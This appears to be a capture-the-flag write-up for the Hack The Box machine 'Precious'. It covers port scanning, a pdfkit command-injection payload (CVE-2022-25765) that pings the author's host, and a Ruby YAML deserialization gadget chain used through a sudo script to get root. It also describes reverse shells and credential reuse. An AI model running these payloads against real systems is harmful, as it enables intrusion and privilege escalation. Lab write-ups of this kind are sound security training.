Nmap
Like always, I’m going to scan the IP Address by using nmap but I’m going to scan the full port first. Then, I’m going to scan the only open ports.
# Nmap 7.95 scan initiated Sat Feb 8 01:56:28 2025 as: /usr/lib/nmap/nmap -p22,80 -sCV -oN nmap/scripts.txt 10.10.11.189Nmap scan report for 10.10.11.189Host is up (0.086s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)| ssh-hostkey:| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)80/tcp open http nginx 1.18.0|_http-title: Did not follow redirect to http://precious.htb/|_http-server-header: nginx/1.18.0Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Feb 8 01:56:37 2025 -- 1 IP address (1 host up) scanned in 8.61 seconds
The Nmap scan is complete. Only two ports are open, SSH
and HTTP
. Since I don’t have any credentials, I’ll ignore port 22
.
Additionally, Nmap identified the machine’s hostname as precious.htb
, so I added it to my /etc/hosts
file.
add hostname
Http
Next, I navigated to http://precious.htb
, which is a simple website that converts web page to PDF by taking a URL as input.
website
To test its functionality, I started a Python server on my machine with a simple “hello world” message in index.html
. After submitting my server’s URL to the converter, it automatically generated a PDF file and opened it in a new tab.
pdf view
Since the server downloaded the PDF file, I used the strings
command to inspect its contents. I found something particularly interesting, the PDF was generated using pdfkit
version v0.8.6
.
pdfkit version
Pdfkit: Command Injection
A quick Google search led me to this Snyk security advisory, which confirmed that this version of pdfkit
is vulnerable to command injection
. The vulnerability is assigned CVE-2022-25765.
Summary
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.
The provided PoC demonstrated the vulnerability by making the server sleep for 5 seconds. Instead, I modified it to ping my machine.
The payload:
http://10.10.14.20:8000/?name=#{'%20`ping -c 1 10.10.14.20`'}
tcpdump ICMP
Shell: Ruby
Since the command injection worked, I sent a Base64-encoded bash reverse shell payload. It successfully connected back to my machine, giving me a shell as the ruby
user.
shell as ruby
During enumeration, I found credentials for henry
inside /home/ruby/.bundle
.
henry credential
SSH: Henry
Without wasting time, I used the discovered credentials to SSH
into the machine as henry
. Surprisingly, it worked!
ssh as henry
As always, the first thing I checked was sudo permissions with sudo -l
. It revealed that henry
could execute the update_dependencies.rb
script with sudo
privileges.
sudo permission
# Compare installed dependencies with those specified in "dependencies.yml"require "yaml"require 'rubygems'
# TODO: update versions automaticallydef update_gems()end
def list_from_file YAML.load(File.read("dependencies.yml"))end
def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}end
gems_file = list_from_filegems_local = list_local_gems
gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end endend
The script loads and parses a YAML file (dependencies.yml
) and compares the installed gem versions with the specified ones.
I found this blog post explaining how to exploit Ruby’s YAML deserialization to achieve RCE
.
POC
---- !ruby/object:Gem::Installer i: x- !ruby/object:Gem::SpecFetcher i: y- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: id method_id: :resolve
I tested the PoC, and it worked.
test the POC
Shell: Root
Since the PoC was successful, I modified it to include a Base64-encoded bash reverse shell payload, similar to the one I used earlier. After executing the script, I got a root
shell.
shell as root